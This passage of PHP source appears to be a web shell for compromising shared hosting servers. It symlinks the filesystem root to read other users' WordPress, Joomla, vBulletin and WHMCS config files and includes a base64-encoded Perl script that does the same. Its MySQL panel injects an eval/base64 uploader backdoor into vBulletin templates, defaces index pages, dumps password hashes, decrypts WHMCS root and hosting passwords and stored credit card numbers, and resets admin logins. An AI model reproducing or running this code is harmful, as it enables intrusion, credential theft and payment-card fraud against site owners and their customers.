";
echo '
';
if(isset($_REQUEST['sws']))
{
switch ($_REQUEST['sws'])
{
////////////////////////////////////////////////// Symlink //////////////////////////////////////
case 'sm':
$sws = 'al-swisre' ;
$mk = @mkdir('sym',0777);
$htcs = "Options all \n DirectoryIndex Sux.html \n AddType text/plain .php \n AddHandler server-parsed .php \n AddType text/plain .html \n AddHandler txt .html \n Require None \n Satisfy Any";
$f =@fopen ('sym/.htaccess','w');
@fwrite($f , $htcs);
$sym = @symlink("/","sym/root");
$pg = basename(__FILE__);
echo '
Domains Script ";
foreach($d00m as $dom){
if(eregi("zone",$dom)){
preg_match_all('#zone "(.*)"#', $dom, $domsws);
flush();
if(strlen(trim($domsws[1][0])) > 2){
$user = posix_getpwuid(@fileowner("/etc/valiases/".$domsws[1][0]));
///////////////////////////////////////////////////////////////////////////////////
$wpl=$pageURL."/sym/root/home/".$user['name']."/public_html/wp-config.php";
$wpp=@get_headers($wpl);
$wp=$wpp[0];
$wp2=$pageURL."/sym/root/home/".$user['name']."/public_html/blog/wp-config.php";
$wpp2=@get_headers($wp2);
$wp12=$wpp2[0];
///////////////////////////////
$jo1=$pageURL."/sym/root/home/".$user['name']."/public_html/configuration.php";
$joo=@get_headers($jo1);
$jo=$joo[0];
$jo2=$pageURL."/sym/root/home/".$user['name']."/public_html/joomla/configuration.php";
$joo2=@get_headers($jo2);
$jo12=$joo2[0];
////////////////////////////////
$vb1=$pageURL."/sym/root/home/".$user['name']."/public_html/includes/config.php";
$vbb=@get_headers($vb1);
$vb=$vbb[0];
$vb2=$pageURL."/sym/root/home/".$user['name']."/public_html/vb/includes/config.php";
$vbb2=@get_headers($vb2);
$vb12=$vbb2[0];
$vb3=$pageURL."/sym/root/home/".$user['name']."/public_html/forum/includes/config.php";
$vbb3=@get_headers($vb3);
$vb13=$vbb3[0];
/////////////////
$wh1=$pageURL."/sym/root/home/".$user['name']."public_html/clients/configuration.php";
$whh2=@get_headers($wh1);
$wh=$whh2[0];
$wh2=$pageURL."/sym/root/home/".$user['name']."/public_html/support/configuration.php";
$whh2=@get_headers($wh2);
$wh12=$whh2[0];
$wh3=$pageURL."/sym/root/home/".$user['name']."/public_html/client/configuration.php";
$whh3=@get_headers($wh3);
$wh13=$whh3[0];
$wh5=$pageURL."/sym/root/home/".$user['name']."/public_html/submitticket.php";
$whh5=@get_headers($wh5);
$wh15=$whh5[0];
$wh4=$pageURL."/sym/root/home/".$user['name']."/public_html/client/configuration.php";
$whh4=@get_headers($wh4);
$wh14=$whh4[0];
////////////////////////////////////////////////////////////////////////////////
////////// Wordpress ////////////
$pos = strpos($wp, "200");
$config=" ";
if (strpos($wp, "200") == true )
{
$config="Wordpress ";
}
elseif (strpos($wp12, "200") == true)
{
$config="Wordpress ";
}
///////////WHMCS////////
elseif (strpos($jo, "200") == true and strpos($wh15, "200") == true )
{
$config=" WHMCS ";
}
elseif (strpos($wh12, "200") == true)
{
$config =" WHMCS ";
}
elseif (strpos($wh13, "200") == true)
{
$config =" WHMCS ";
}
///////// Joomla to 4 ///////////
elseif (strpos($jo, "200") == true)
{
$config=" Joomla ";
}
elseif (strpos($jo12, "200") == true)
{
$config=" Joomla ";
}
//////////vBulletin to 4 ///////////
elseif (strpos($vb, "200") == true)
{
$config=" vBulletin ";
}
elseif (strpos($vb12, "200") == true)
{
$config=" vBulletin ";
}
elseif (strpos($vb13, "200") == true)
{
$config=" vBulletin ";
}
else
{
continue;
}
/////////////////////////////////////////////////////////////////////////////////////
$site = $user['name'] ;
echo "".$domsws[1][0]." ".$config." Domains Users symlink ";
foreach($d00m as $dom){
if(eregi("zone",$dom)){
preg_match_all('#zone "(.*)"#', $dom, $domsws);
flush();
if(strlen(trim($domsws[1][0])) > 2){
$user = posix_getpwuid(@fileowner("/etc/valiases/".$domsws[1][0]));
$site = $user['name'] ;
@symlink("/","sym/root");
$site = $domsws[1][0];
$ir = 'ir';
$il = 'il';
if (preg_match("/.^$ir/",$domsws[1][0]) or preg_match("/.^$il/",$domsws[1][0]) )
{
$site = "".$domsws[1][0]."
";
}
echo "
".$user['name']."
symlink
";
flush();
}
}
}
}
break;
case 'pl':
if (!is_dir('sa2')){
$mk = @mkdir('sa2',0777);
if (is_file('sa2/perl.pl'))
{
echo "Symlink Perl ";
@chmod('sa2/perl.pl',0755);
}
else
{
$f2 =@fopen ('sa2/perl.pl','w');
$sml_perl = "IyEvdXNyL2Jpbi9wZXJsIC1JL2hvbWUvYWxqbm9mcWUvcHVibGljX2h0bWwvdHJhZmlxL2dvbmZpZy5wbA0KcHJpbnQgIkNvbnRlbnQtdHlwZTogdGV4dC9odG1sXG5cbiI7DQpwcmludCc8IURPQ1RZUEUgaHRtbCBQVUJMSUMgIi0vL1czQy8vRFREIFhIVE1MIDEuMCBUcmFuc2l0aW9uYWwvL0VOIiAiaHR0cDovL3d3dy53My5vcmcvVFIveGh0bWwxL0RURC94aHRtbDEtdHJhbnNpdGlvbmFsLmR0ZCI+DQo8aHRtbCB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMTk5OS94aHRtbCI+DQo8aGVhZD4NCjxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtTGFuZ3VhZ2UiIGNvbnRlbnQ9ImVuLXVzIiAvPg0KPG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1UeXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9dXRmLTgiIC8+DQo8dGl0bGU+W35dIFBhaW4gU3ltbGluazwvdGl0bGU+DQo8c3R5bGUgdHlwZT0idGV4dC9jc3MiPg0KLm5ld1N0eWxlMSB7DQogZm9udC1mYW1pbHk6IFRhaG9tYTsNCiBmb250LXNpemU6IHgtc21hbGw7DQogZm9udC13ZWlnaHQ6IGJvbGQ7DQogY29sb3I6ICMwMEZGRkY7DQogIHRleHQtYWxpZ246IGNlbnRlcjsNCn0NCjwvc3R5bGU+DQo8L2hlYWQ+DQonOw0Kc3ViIGxpbHsNCiAgICAoJHVzZXIpID0gQF87DQokbXNyID0gcXh7cHdkfTsNCiRrb2xhPSRtc3IuIi8iLiR1c2VyOw0KJGtvbGE9fnMvXG4vL2c7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvdmIvaW5jbHVkZXMvY29uZmlnLnBocCcsJGtvbGEuJ35+dkJ1bGxldGluMS50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9pbmNsdWRlcy9jb25maWcucGhwJywka29sYS4nfn52QnVsbGV0aW4yLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2ZvcnVtL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRrb2xhLid+fnZCdWxsZXRpbjMudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvY2MvaW5jbHVkZXMvY29uZmlnLnBocCcsJGtvbGEuJ35+dkJ1bGxldGluNC50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jb25maWcucGhwJywka29sYS4nfn5QaHBiYjEudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvZm9ydW0vaW5jbHVkZXMvY29uZmlnLnBocCcsJGtvbGEuJ35+UGhwYmIyLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dwLWNvbmZpZy5waHAnLCRrb2xhLid+fldvcmRwcmVzczEudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvYmxvZy93cC1jb25maWcucGhwJywka29sYS4nfn5Xb3JkcHJlc3MyLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nfn5Kb29tbGExLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2Jsb2cvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLid+fkpvb21sYTIudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvam9vbWxhL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nfn5Kb29tbGEzLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dobS9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJ35+V2htMS50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC93aG1jL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nfn5XaG0yLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3N1cHBvcnQvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLid+fldobTMudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvY2xpZW50L2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nfn5XaG00LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2JpbGxpbmdzL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nfn5XaG01LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2JpbGxpbmcvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLid+fldobTYudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvY2xpZW50cy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJ35+V2htNy50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC93aG1jcy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJ35+V2htOC50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9vcmRlci9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJ35+V2htOS50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9hZG1pbi9jb25mLnBocCcsJGtvbGEuJ35+NS50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9hZG1pbi9jb25maWcucGhwJywka29sYS4nfn40LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2NvbmZfZ2xvYmFsLnBocCcsJGtvbGEuJ35+aW52aXNpby50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9pbmNsdWRlL2RiLnBocCcsJGtvbGEuJ35+Ny50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jb25uZWN0LnBocCcsJGtvbGEuJ35+OC50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ta19jb25mLnBocCcsJGtvbGEuJ35+bWstcG9ydGFsZTEudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvaW5jbHVkZS9jb25maWcucGhwJywka29sYS4nfn4xMi50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zZXR0aW5ncy5waHAnLCRrb2xhLid+flNtZi50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9pbmNsdWRlcy9mdW5jdGlvbnMucGhwJywka29sYS4nfn5waHBiYjMudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvaW5jbHVkZS9kYi5waHAnLCRrb2xhLid+fmluZmluaXR5LnR4dCcpOw0KfQ0KaWYgKCRFTlZ7J1JFUVVFU1RfTUVUSE9EJ30gZXEgJ1BPU1QnKSB7DQogIHJlYWQoU1RESU4sICRidWZmZXIsICRFTlZ7J0NPTlRFTlRfTEVOR1RIJ30pOw0KfSBlbHNlIHsNCiAgJGJ1ZmZlciA9ICRFTlZ7J1FVRVJZX1NUUklORyd9Ow0KfQ0KQHBhaXJzID0gc3BsaXQoLyYvLCAkYnVmZmVyKTsNCmZvcmVhY2ggJHBhaXIgKEBwYWlycykgew0KICAoJG5hbWUsICR2YWx1ZSkgPSBzcGxpdCgvPS8sICRwYWlyKTsNCiAgJG5hbWUgPX4gdHIvKy8gLzsNCiAgJG5hbWUgPX4gcy8lKFthLWZBLUYwLTldW2EtZkEtRjAtOV0pL3BhY2soIkMiLCBoZXgoJDEpKS9lZzsNCiAgJHZhbHVlID1+IHRyLysvIC87DQogICR2YWx1ZSA9fiBzLyUoW2EtZkEtRjAtOV1bYS1mQS1GMC05XSkvcGFjaygiQyIsIGhleCgkMSkpL2VnOw0KICAkRk9STXskbmFtZX0gPSAkdmFsdWU7DQp9DQppZiAoJEZPUk17cGFzc30gZXEgIiIpew0KcHJpbnQgJw0KPGJvZHkgY2xhc3M9Im5ld1N0eWxlMSIgYmdjb2xvcj0iIzAwMDAwMCI+DQogPGJyIC8+PGJyIC8+DQo8Zm9ybSBtZXRob2Q9InBvc3QiPg0KPHRleHRhcmVhIG5hbWU9InBhc3MiIHN0eWxlPSJib3JkZXI6MnB4IGRvdHRlZCAjMDAzMzAwOyB3aWR0aDogNTQzcHg7IGhlaWdodDogNDIwcHg7IGJhY2tncm91bmQtY29sb3I6IzBDMEMwQzsgZm9udC1mYW1pbHk6VGFob21hOyBmb250LXNpemU6OHB0OyBjb2xvcjojRkZGRkZGIiAgPjwvdGV4dGFyZWE+PGJyIC8+DQombmJzcDs8cD4NCjxpbnB1dCBuYW1lPSJ0YXIiIHR5cGU9InRleHQiIHN0eWxlPSJib3JkZXI6MXB4IGRvdHRlZCAjMDAzMzAwOyB3aWR0aDogMjEycHg7IGJhY2tncm91bmQtY29sb3I6IzBDMEMwQzsgZm9udC1mYW1pbHk6VGFob21hOyBmb250LXNpemU6OHB0OyBjb2xvcjojRkZGRkZGOyAiICAvPjxiciAvPg0KJm5ic3A7PC9wPg0KPHA+DQo8aW5wdXQgbmFtZT0iU3VibWl0MSIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iR2V0IENvbmZpZyIgc3R5bGU9ImJvcmRlcjoxcHggZG90dGVkICMwMDMzMDA7IHdpZHRoOiA5OTsgZm9udC1mYW1pbHk6VGFob21hOyBmb250LXNpemU6MTBwdDsgY29sb3I6I0ZGRkZGRjsgdGV4dC10cmFuc2Zvcm06dXBwZXJjYXNlOyBoZWlnaHQ6MjM7IGJhY2tncm91bmQtY29sb3I6IzBDMEMwQyIgLz48L3A+DQo8L2Zvcm0+PGJyIC8+PGJyIC8+UmlnaHRzIG9mIHRoaXMgcGVybCB0byBLYXJhciBhTFNoYU1pJzsNCn1lbHNlew0KQGxpbmVzID08JEZPUk17cGFzc30+Ow0KJHkgPSBAbGluZXM7DQpvcGVuIChNWUZJTEUsICI+dGFyLnRtcCIpOw0KcHJpbnQgTVlGSUxFICJ0YXIgLWN6ZiAiLiRGT1JNe3Rhcn0uIi50YXIgIjsNCmZvciAoJGthPTA7JGthPCR5OyRrYSsrKXsNCndoaWxlKEBsaW5lc1ska2FdICA9fiBtLyguKj8pOng6L2cpew0KJmxpbCgkMSk7DQpwcmludCBNWUZJTEUgJDEuIi50eHQgIjsNCmZvcigka2Q9MTska2Q8MTg7JGtkKyspew0KcHJpbnQgTVlGSUxFICQxLiRrZC4iLnR4dCAiOw0KfQ0KfQ0KIH0NCnByaW50Jzxib2R5IGNsYXNzPSJuZXdTdHlsZTEiIGJnY29sb3I9IiMwMDAwMDAiPg0KPHA+RG9uZSAhITwvcD4NCjxwPiZuYnNwOzwvcD4nOw0KaWYoJEZPUk17dGFyfSBuZSAiIil7DQpvcGVuKElORk8sICJ0YXIudG1wIik7DQpAbGluZXMgPTxJTkZPPiA7DQpjbG9zZShJTkZPKTsNCnN5c3RlbShAbGluZXMpOw0KcHJpbnQnPHA+PGEgaHJlZj0iJy4kRk9STXt0YXJ9LicudGFyIj48Zm9udCBjb2xvcj0iIzAwRkYwMCI+DQo8c3BhbiBzdHlsZT0idGV4dC1kZWNvcmF0aW9uOiBub25lIj5DbGljayBIZXJlIFRvIERvd25sb2FkIFRhciBGaWxlPC9zcGFuPjwvZm9udD48L2E+PC9wPic7DQp9DQp9DQogcHJpbnQiDQo8L2JvZHk+DQo8L2h0bWw+Ijs=";
$write = fwrite ($f2 ,base64_decode($sml_perl));
if ($write)
{
@chmod('sa2/perl.pl',0755);
}
echo "Symlink Perl ";
}
break;
}
/// home ///
}
}
else
{
echo '
The file path to symlink
'.$symfile.' ';
exit;
}else {exit;}
}
break;
//////////////////////// mysql ///////////////////////////////////////////////////////////////////////////////
case 'ms':
$host = $_POST['host'];
$user = $_POST['user'];
$pass = $_POST['pass'];
$db = $_POST['db'];
////////////////// HEEEEEEEEEEEEERE /////////////////////////////////////////////// HEEEEEEEEEEEEERE /////////////////////////////
if ($_GET['show'] == 'tb'){
$host_c = $_COOKIE['host_mysql'];
$user_c = $_COOKIE['user_mysql'];
$pass_c = $_COOKIE['pass_mysql'];
$db_c = $_COOKIE['db_mysql'];
$con = @mysql_connect($host_c,$user_c,$pass_c);
$sel = @mysql_select_db($db_c);
if(!$sel){ echo "mysql connect error" ; exit;}
$dbname = $db_c;
$pTable = mysql_list_tables( $dbname ) ;
$num = mysql_num_rows( $pTable );
echo "
Tables Rows ";
for( $i = 0; $i < $num; $i++ ) {
$tablename = mysql_tablename( $pTable, $i );
$sq3l=mysql_query("select * from $tablename");
$c3t=mysql_num_rows($sq3l);
echo "
".$c3t."
";
if ($tablename == 'template') { $secript = 'vb'; }
else if ($tablename == 'wp_post') {$secript = 'wp';}
else if ($tablename == 'jos_users') {$secript = 'jm';}
else if ($tablename == 'tbladmins') {$secript = 'wh';}
}
if ($secript == 'vb')
{
echo '
Options vBulletin
[ Update Index ]
[ Inject shell ]
[ Show members Information ]
';
}
else if ($secript == 'wp')
{
echo '
Options Wordpress
[ Change admin ]
[ Show members ]';
}
else if ($secript == 'wh'){
echo '
Options Whmcs
[ roots ]
[ Clients Hosting Account ]
[ Cards ] tickets ]
[ ticket replies ]
[ Search ticket ]
[ Change admin ]';
}
else{echo ' ';}
/////////////// cmd ////////////////////////////////
echo "
[
baukup ]
[
Inject css ]
[ Logout ] ";
if (isset($_POST['cmd']))
{
$sql = $_POST['sql'];
$query =@mysql_query($sql,$con) or die;
if ($query){echo "
CMD sql successfully
";} elseif(!$query) {echo "
CMD sql error
";}
}
exit;
}
///////////////////// show cl ///////////////
else if ($_GET['show'] == 'cl')
{
$host_c = $_COOKIE['host_mysql'];
$user_c = $_COOKIE['user_mysql'];
$pass_c = $_COOKIE['pass_mysql'];
$db_c = $_COOKIE['db_mysql'];
$con = @mysql_connect($host_c,$user_c,$pass_c);
$sel = @mysql_select_db($db_c);
$tb = $_GET['tb'];
$col_sws = mysql_query("SHOW COLUMNS FROM $tb");
$num2 = mysql_num_rows( $col_sws );
echo "
Columns Name Content ";
for( $i2 = 0; $i2 < $num2; $i2++ ){
$col = mysql_fetch_row($col_sws) ;
$um_sws = $col[0];
echo "$um_sws " ;
$tit = mysql_query ("SELECT * FROM $tb" );
while ($row = mysql_fetch_assoc($tit))
{
$cont = $row[$um_sws] ;
echo "$cont
';
exit;}
else
{
$host = $_POST['host'];
$user = $_POST['user'];
$pass = $_POST['pass'];
$db = $_POST['db'];
$con = @mysql_connect($host,$user,$pass) ;
$sel = @mysql_select_db($db,$con);
if (!$sel)
{
echo " MYSQL INFOTMATI NOT TREY ";
}
else
{
setcookie( "host_mysql", $host);
setcookie( "user_mysql", $user);
setcookie( "pass_mysql", $pass);
setcookie( "db_mysql", $db);
ob_end_flush();
echo "
";
exit;
}}}
/////////////////////////////////// Options /////////////////////////////////////////
if (isset($_GET['op']))
{
$op = $_GET['op'];
$host_c = $_COOKIE['host_mysql'];
$user_c = $_COOKIE['user_mysql'];
$pass_c = $_COOKIE['pass_mysql'];
$db_c = $_COOKIE['db_mysql'];
$con3 =@mysql_connect($host_c,$user_c,$pass_c) or die ;
$sedb3 =@mysql_select_db($db_c,$con3) or die;
if (!$sedb3){echo "error in mysql connect "; exit;}
/////// index vb ////////
if ($op == 'in')
{
if (!isset($index)){
echo '
Your index :
';
}
else if ($_POST['sql'])
{
$index =$_POST['index'];
$index=str_replace("\'","'",$index);
$crypt = "{\${eval(base64_decode(\'";
$crypt .= base64_encode("echo \"$index\";");
$crypt .= "\'))}}{\${exit()}}";
$sqlindex = "UPDATE `template` SET `template` = '$crypt'" or die;
$query =@ mysql_query($sqlindex);
if ($query)
{
echo "
Updated Index successfully
";
echo "
[ Back ] ";
exit;
}
else if (!$query)
{
echo "
Updated Index erorr
";
echo "
[ Back ] ";
exit;
}
}
}
/////// shelllll ///////////
else if($op == 'sh')
{
if (!isset($_POST['ch']))
{
echo '
';
} if (isset($_POST['sql'])){
$ch = $_POST['ch'];
$shell = "DQoNCmVjaG8gJzxiPlsgYWwtc3dpc3JlIF0mbmJzcDsmbmJzcDtbIFNhdWRpIHNoZWxsIF08YnI+PGJyPjxicj48L2I+JzsgZWNobyAnPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCIgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSIgbmFtZT0idXBsb2FkZXIiIGlkPSJ1cGxvYWRlciI+JzsgZWNobyAnPGlucHV0IHR5cGU9ImZpbGUiIG5hbWU9ImZpbGUiIHNpemU9IjUwIj48aW5wdXQgbmFtZT0iX3VwbCIgdHlwZT0ic3VibWl0IiBpZD0iX3VwbCIgdmFsdWU9IlVwbG9hZCI+PC9mb3JtPic7IGlmKCAkX1BPU1RbJ191cGwnXSA9PSAiVXBsb2FkIiApIHsgaWYoQGNvcHkoJF9GSUxFU1snZmlsZSddWyd0bXBfbmFtZSddLCAkX0ZJTEVTWydmaWxlJ11bJ25hbWUnXSkpIHsgZWNobyAnPGI+VXBsb2FkIFN1Y2Nlc3MgISEhPC9iPjxicj48YnI+JzsgfSBlbHNlIHsgZWNobyAnPGI+VXBsb2FkIEZhaWwgISEhPC9iPjxicj48YnI+JzsgfSB9IA0KPz4=" ;
$crypt = "{\${eval(base64_decode(\'";
$crypt .= "$shell";
$crypt .= "\'))}}{\${exit()}}";
if ($ch == 'faq'){$sqlfaq="UPDATE template SET template ='".$crypt."' WHERE title ='FAQ'";}
elseif ($ch == 'cal'){$sqlfaq="UPDATE template SET template ='".$crypt."' WHERE title ='CALENDAR'";}
elseif ($ch == 'sea'){$sqlfaq="UPDATE template SET template ='".$crypt."' WHERE title ='search_forums'";}
$query =@ mysql_query($sqlfaq);
if ($query)
{
echo "
Injection has been successfully
";
echo "
[ Back ] ";
exit;
}
else if (!$query)
{
echo "
Injection has been erorr !
";
echo "
[ Back ] ";
exit;
}
}
}
else if ($op == 'shm')
{
$sql = 'select * from `user`';
$query =@ mysql_query($sql);
if ($query)
{
while ($row = mysql_fetch_assoc($query))
{
echo "
ID :
user :
pass :
salt :
email :
".$row['userid']."
".$row['username']."
".$row['password']."
".$row['salt']."
".$row['email']."
";
}}
}
else if ($op == 'out')
{
setcookie( "host_mysql", $host,time()-3600);
setcookie( "user_mysql", $user,time()-3600);
setcookie( "pass_mysql", $pass,time()-3600);
setcookie( "db_mysql", $db,time()-3600);
ob_end_flush();
echo "
";
exit;
}
///////////////////////////////// whmcs ////////////////////////////////////////
else if ($op == 'hroot')
{
if (isset($_POST['viw']))
{
$hash = $_POST['hash'] ;
$query = mysql_query("SELECT * FROM tblservers");
echo "
hosting roots
Type noc Active IP Address username Password
{$row['type']} {$row['noc']} {$row['active']} {$row['ipaddress']} {$row['username']} ".decrypt($row['password'], $hash)."
";
}
echo "
";
$query = mysql_query("SELECT * FROM tblhosting where username = 'root' or 'admin' or 'administrator'");
echo "
IP Address username Password
{$row['dedicatedip']} {$row['username']} ".decrypt($row['password'], $hash)."
";
}
echo "
";
echo "
[ Back ] ";
exit;
}
else
{
echo'
';
exit;
}
}
//////////// domine ////////////
else if ($op == 'scard')
{
if (isset($_POST['viw']))
{
$hash = $_POST['hash'] ;
$query = mysql_query('select * from `tblclients`') ;
echo "
";
while($v = mysql_fetch_array($query)) {
echo "
cardtype
id
firstname
lastname
email
city
ciuntry
address1
lastlogin
phonenumber
datecreated
cardnum
startdate
expdate
{$v['cardtype']}
{$v['id']}
{$v['firstname']}
{$v['lastname']}
{$v['email']}
{$v['city']}
{$v['ciuntry']}
{$v['address1']}
{$v['lastlogin']}
{$v['phonenumber']}
{$v['datecreated']}
".decrypt ($v['cardnum'], $hash)."
".decrypt ($v['startdate'], $hash)."
".decrypt ($v['expdate'], $hash)."
";
echo "
[ Back ] ";
exit;
}
}else
{
echo'
';
exit;
}
}
else if ($op == 'chost')
{
if (isset($_POST['viw']))
{
$hash = $_POST['hash'] ;
$query = mysql_query("SELECT * FROM tblhosting");
echo "
domain Username Pass IP Address {$r['domain']} {$r['username']}
".decrypt ($r['password'], $hash)." {$r['dedicatedip']}
";
echo "
[ Back ] ";
exit;
}
else
{
echo'
';
exit;
}
}
else if ($op == 'cadmin')
{
if (isset($_POST['viw']))
{
$pass = md5($_POST['pass']);
$user = $_POST['user'];
$query =@mysql_query("UPDATE `tbladmins` SET `username` ='".$user."' WHERE ID = 1");
$query =@mysql_query("UPDATE `tbladmins` SET `password` ='".$pass."' WHERE ID = 1");
if ($query)
{
echo "
Updated admin successfully
";
echo "
[ Back ] ";
exit;
}
else if (!$query)
{
echo "
Updated admin erorr
";
echo "
[ Back ] ";
exit;
}
}
else
{
echo'
';
exit;
}
}
else if ($op == 'trak')
{
$page = $_GET['page'];
$numpr = 30;
if(!$page){$page = 0;}
$sql0 = mysql_query("Select * from tbltickets");
$num_r0s = mysql_num_rows($sql0);
$sql = mysql_query("Select * from tbltickets order by id desc limit $page,$numpr");
$ap = 1;
echo "
Page : ";
for ($s = 0 ; $s < $num_r0s; $s = $s+$numpr )
{
if ($page != $s) { echo "
$ap ";}
else {echo "
$ap ";}
$ap ++;
}
echo "
";
while ($r3o = mysql_fetch_assoc($sql))
{
$email = $r3o['email'];
$date = $r3o['date'];
$title = $r3o['title'];
$message = $r3o['message'];
echo "
";
echo "email : $email date : $date title : $title message $message ";
echo "
";
echo "
[ Back ] ";
exit;
}
}
else if ($op == 'rtrak')
{
$page = $_GET['page'];
$numpr = 25;
if(!$page){$page = 0;}
$sql0 = mysql_query("Select * from tblticketreplies");
$num_r0s = mysql_num_rows($sql0);
$sql = mysql_query("Select * from tblticketreplies order by id desc limit $page,$numpr");
$ap = 1;
echo "
Page : ";
for ($s = 0 ; $s < $num_r0s; $s = $s+$numpr )
{
if ($page != $s) { echo "
$ap ";}
else {echo "
$ap ";}
$ap ++;
}
echo "
";
while ($r3o = mysql_fetch_assoc($sql))
{
$email = $r3o['email'];
$date = $r3o['date'];
$message = $r3o['message'];
echo "
";
echo "email : $email date : $date message $message ";
echo "
";
echo "
[ Back ] ";
exit;
}
}
/////////////////////////////////// backup //////////////////////////
else if ($op == 'bkup')
{
if (isset($_POST['viw']))
{
$path = $_POST['path'];
$domp = @backup_tables($path,$host_c,$user_c,$pass_c,$db_c);
echo "
Create backup successfully
";
echo "
[ Back ] ";
exit;
}
else
{
echo'
';
exit;
}
}
else if ($op == 'sh3')
{
if (isset($_POST['viw']))
{
$string = $_POST['string'];
$ch = $_POST['ch'];
if ($ch == 'trs')
{
$sql4 = @mysql_query("Select * from tblticketreplies WHERE `message` LIKE '%$string%'");
}
else if($ch == 'tr')
{
$sql4 = @mysql_query("Select * from tbltickets WHERE `message` LIKE '%$string%' ");
}
$nu0 = @mysql_num_rows($sql4);
if ($nu0 == 0){echo "No result"; exit;}
while ($r33o = mysql_fetch_assoc($sql4))
{
$date = $r33o['date'];
$title = $r33o['title'];
$message = $r33o['message'];
echo "
";
echo "email : $email date : $date title : $title message $message ";
echo "
";
exit;
}
}
else
{
echo'
';
exit;
}
}
else if ($op == 'sh3')
{
if (isset($_POST['viw']))
{
$string = $_POST['string'];
$ch = $_POST['ch'];
if ($ch == 'trs')
{
$sql4 = @mysql_query("Select * from tblticketreplies WHERE `message` LIKE '%$string%'");
}
else if($ch == 'tr')
{
$sql4 = @mysql_query("Select * from tbltickets WHERE `message` LIKE '%$string%' ");
}
$nu0 = @mysql_num_rows($sql4);
if ($nu0 == 0){echo "No result"; exit;}
while ($r33o = @mysql_fetch_assoc($sql4))
{
$date = $r33o['date'];
$title = $r33o['title'];
$message = $r33o['message'];
echo "
";
echo "email : $email date : $date title : $title message $message ";
echo "
";
}
}
else
{
echo'
';
exit;
}
}
else if ($op == 'css')
{
if (isset($_POST['viw']))
{
$index = $_POST['index'];
$seh = $_POST['string'];
$rs = search($seh);
if(count($rs) == 0){echo 'No result';exit;}
foreach ($rs as $info)
{
$table = $info['table'];
$column = $info['column'];
echo "table : $table
column : $column
";
exit;
}
}
else
{
echo'
';
exit;
}
if (isset($_POST['v']))
{
$seh = $_POST['shearc'] ;
$table = $_POST['table'];
$column = $_POST['column'] ;
$rlcss = $_POST['index'] ;
$data = "
";
